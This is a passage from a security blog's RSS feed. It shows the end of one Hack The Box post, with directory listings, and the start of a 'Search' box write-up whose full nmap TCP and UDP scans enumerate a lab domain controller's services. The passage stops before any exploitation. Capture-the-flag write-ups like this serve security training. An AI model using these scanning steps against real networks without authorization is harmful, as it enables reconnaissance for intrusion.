<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drwxr-xr-x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  4</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> root</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> root</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 4.0K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Feb</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 07:40</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drwxr-xr-x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 20</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> root</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> root</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 4.0K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Feb</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 07:40</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ..</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drwxr-xr-x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 11</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> kid</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  kid</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  4.0K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Apr</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 28</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 08:54</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> kid</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drwxr-xr-x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  6</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> pwn</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  pwn</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  4.0K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Feb</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 12:06</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> pwn</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">kid@scriptkiddie:~$</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ls</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -lah</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /home/pwn</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">total</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 44K</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drwxr-xr-x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 6</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> pwn</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  pwn</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  4.0K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Feb</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 12:06</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drwxr-xr-x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 4</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> root</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> root</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 4.0K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Feb</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 07:40</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ..</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">lrwxrwxrwx</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> root</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> root</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">    9</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Feb</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 12:06</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .bash_history</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> -</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /dev/null</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">-rw-r--r--</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> pwn</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  pwn</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">   220</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Feb</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 25</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  2020</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .bash_logout</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">-rw-r--r--</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> pwn</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  pwn</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  3.7K</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Feb</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 25</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  2020</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .bashrc</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">drwx</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>HtB Search</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Search.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Search.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">HtB Search</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan UDP Scan Find...</description>
      <category>Write-Up</category>
      <pubDate>Tue, 15 Feb 2022 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_ports</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Starting</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Nmap</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 7.92</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ( </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">https://nmap.org</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ) at 2022-02-09 15:42 UTC</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scan</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> report</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> search.htb</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (10.10.11.129)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (0.097s </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">latency</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Not</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> shown:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 65514</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ports</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (no-response)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Some</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> closed</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ports</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> may</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> be</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> reported</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> as</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> due</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> --defeat-rst-ratelimit</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">       VERSION</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">53/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  domain</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">        Simple</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> DNS</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Plus</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">80/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  http</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">          Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> IIS</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> httpd</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">88/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  kerberos-sec</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Kerberos</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (server </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">time:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 2022-02-09</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 16:03:57Z</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">135/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  msrpc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> RPC</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">139/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  netbios-ssn</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> netbios-ssn</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">389/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ldap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">          Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Active</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Directory</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> LDAP</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Domain: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">search.htb0.,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Site:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Default-First-Site-Name</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">443/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssl/http</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> IIS</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> httpd</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">445/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  microsoft-ds?</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">464/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  kpasswd5?</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">593/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ncacn_http</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> RPC</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> over</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> HTTP</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1.0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">636/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssl/ldap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Active</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Directory</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> LDAP</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Domain: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">search.htb0.,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Site:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Default-First-Site-Name</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">3268/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ldap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">          Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Active</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Directory</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> LDAP</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Domain: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">search.htb0.,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Site:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Default-First-Site-Name</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">3269/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssl/ldap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Active</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Directory</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> LDAP</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Domain: </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">search.htb0.,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Site:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Default-First-Site-Name</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">8172/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssl/http</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> IIS</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> httpd</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">9389/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  mc-nmf</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">        .NET</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Message</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Framing</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49666/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  msrpc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> RPC</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49675/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ncacn_http</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> RPC</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> over</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> HTTP</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1.0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49676/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  msrpc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> RPC</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49702/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  msrpc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> RPC</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49716/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  msrpc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> RPC</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49735/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  msrpc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> RPC</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Service</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Info:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Host:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> RESEARCH</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">OS:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">CPE:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cpe:/o:microsoft:windows</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Service</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> detection</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> performed.</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> report</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> any</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> incorrect</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> results</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> at</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> https://nmap.org/submit/</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> done:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> IP</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> address</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (1 </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) scanned in 270.11 seconds</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Nmap</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> scan</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> report</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 10.10.11.129</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Host</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> up</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (0.034s </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">latency</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Not</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> shown:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 998</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ports</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (no-response)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">53/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  domain</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">123/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ntp</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>Find valid users</h2>
<p>There is some information about users on the website.</p>
<figure><figcaption>list-of-employees</figcaption></figure>
<p>The list of employees could then be retrieved :</p>
